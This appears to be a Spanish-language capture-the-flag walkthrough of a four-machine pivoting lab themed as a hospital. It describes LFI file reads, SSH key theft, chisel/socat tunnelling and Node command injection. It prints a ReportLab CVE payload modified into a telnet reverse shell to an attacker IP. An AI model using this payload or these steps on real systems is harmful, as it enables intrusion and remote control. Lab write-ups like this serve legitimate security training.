997 words
5 minutes
Grandma

Introducción#

Contexto#

En esta máquina haremos un total de 3 saltos para acabar siendo root. El contexto que intente dar a esta máquina con pivoting es que la Grandma1 el contexto es que es la primera máquina almacena el servidor web público. En la Grandma2 ya nos adentramos a los servicios del hospital privado y accedemos a una web donde podemos subir reportes de pacientes. Ya en la Grandma3 nos habremos introducido a los servidores internos donde almacenan cookies y otros aplicativos que simularan el funcionamiento de las apps del hospital y para finalizar la última máquina Grandma4 nos encontraremos con una API.

Gráfico Pivoting#

Gráfico Reverse Shells#


Enumeración Grandma 1#

Empezaremos con un escaneo nmap:

Podremos ver que hay 3 puertos, ahora vamos a hacerle un segundo escaneo para ver que corren en ellos:

Podremos ver que en el puerto 80 nos hace un redirect a http://grandma.dl asi que lo añadiremos a nuestro /etc/hosts, ya habiendo añadido podremos acceder a la web:

Podremos ver que el contexto de está máquina es de un hospital, si hacemos fuzzing no encontraremos nada interesante así que vayamos al siguiente puerto (5000), si accedemos a él podremos ver un calendario:

Intrusión Grandma 1#

En el puerto 5000 podremos ver que lo esta corriendo con Python/3.12 aiohttp/3.9.1, que si buscamos podremos ver el siguiente CVE:

Ahora explotaremos el LFI que es vulnerable, interceptamos la petición de recarga de la página en el puerto 5000:

Ahora explotaremos el LFI:

Logramos leer el /etc/passwd, si vemos más el archivo podremos ver que hay un usuario llamado drzunder asi que viendo que el puerto 22 está abierto intentaremos pillar el id_rsa:

Ahora nos copiaremos el id_rsa y iniciaremos por el ssh con el:

En el directorio Desktop podremos ver la flag:

No podremos escalar privilegios en esta máquina así que nos pasaremos a la segunda maquina:

Enumeración Grandma 2#

Escaneo nmap a Grandma2:

Podremos ver el puerto 9000, vamos a ver que es:

Configuro el proxy en socks5 para poder ver el puerto 9000 de la segunda maquina:

Podremos ver una página donde se ve que lo usan para mandar reportes de pacientes, intentemos subir un archivo.sh con una reverse shell:

Vemos que solo podemos subir archivos .html, probare a subir un archivo e interceptarlo con burpsuite:

Para esto tendremos que seleccionar normalmente el proxy de Burpsuite en FoxyProxy y en en Burpsuite iremos a la siguiente configuración:

Settings >> Networks >> Connections

Y bajaremos a la parte de SOCKS Proxy y configuraremos el túnel de chisel que tiene conectividad con la grandma2:

Si lo enviamos al Repeater y le damos a send podremos ver lo siguiente:

Intrusión Grandma 2#

Vemos que usa ReportLab para convertir el .html en un .pdf, asi que buscare algun CVE reciente:

Encontre este CVE:

Donde nos deja el siguiente payload:

<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
                exploit
</font></para>

Nosotros en este caso no queremos que cree un archivo llamado exploited si no queremos una reverse shell, en mi caso la hare con telnet:

<para>
    <font color="[ [ getattr(pow,Attacker('__globals__'))['os'].system('TF=$(mktemp -u);mkfifo $TF && telnet 20.20.20.2 4444 0<$TF | bash 1>$TF') for Attacker in [orgTypeFun('
Attacker', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self:
{setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))]] and 'red'">
    exploit
    </font>
</para>

Tendremos que configurar socat en la primera máquina para recibir la reverse shell:

Somo usuario app, en esta máquina tampoco podremos escalar privilegios, antes en el escaneo pudimos ver el puerto 2222 que corresponde al SSH asi que intentare ver si el usuario app tiene id_rsa:

Bien ahora podremos iniciar las veces que queramos como el usuario app, esto nos ayudara porque al ser usuario app mediante una reverse shell se nos podría haber complicado el crear el túnel, ahora si iremos a la tercera:

Montaremos un nuevo túnel desde grandma1 a la grandma2 con chisel y socat:

Activaremos el dynamic_chain en /etc/proxychains4.conf y comentaremos strict_chain:

Añadiremos el túnel:

Ahora configuraremos el foxyproxy:

Enumeración Grandma 3#

Escaneo nmap a la Grandma3:

Vemos que tiene el puerto 2222 y 3000 abierto, vamos a acceder al 3000 a ver que contiene:

Podremos ver que es una página en blanco y si vemos su código no habrá nada:

Si inspeccionamos la página y vamos a almacenamiento podremos ver que tenemos una cookie:

Pero si reiniciamos la web se cambia la cookie así que no es estática:

Intrusión Grandma 3#

Vamos a interceptar con burpsuite:

Ahora interceptaremos la recarga de la web:

Podremos ver que la cookie se almacena en un campo llamado profile:

Podremos ver que la cookie esta en base64, asi que lo que intentare es un LFI en base64:

Tenemos capacidad de lectura de archivos, podremos ver que hay un usuario llamado node asi que sabiendo que tiene el puerto 2222 volveremos a robarle el id_rsa:

Mismo proceso para tener conectividad con la Grandma4:

En la grandma2 abriremos un nuevo túnel con socat para redirigir al socat que está activo en grandma1 que lleva a la máquina atacante al servidor chisel:

Ahora en la Grandma3 nos conectamos como cliente:

Perfecto ahora configuramos el proxychains y el foxyproxy.

Enumeración Grandma 4#

Una vez configurado vamos a hacer un escaneo nmap:

Podemos ver el puerto 9999 vamos a acceder a él:

Intrusión Grandma 4#

Vemos que solo se puede acceder por POST asi que yo voy a emplear curl:

Vemos que lista los usuarios por id y nombre, pero en el ultimo podemos ver Errorerrorasí que intentaremos ejecutar un comando:

Lo que hacemos es cargar el módulo child_process que nos permitirá ejecutar comandos del sistema, en el execSync indicamos el comando que queremos ejecutar en mi caso id y toString() convierte el resultado de execSync en texto legible. Ahora nos enviaremos una reverse shell:

Antes de eso conectaremos con socat escuchando en el puerto 7777 para que me llegue la reverse shell a la máquina atacante:\

Ahora nos enviaremos la reverse shell: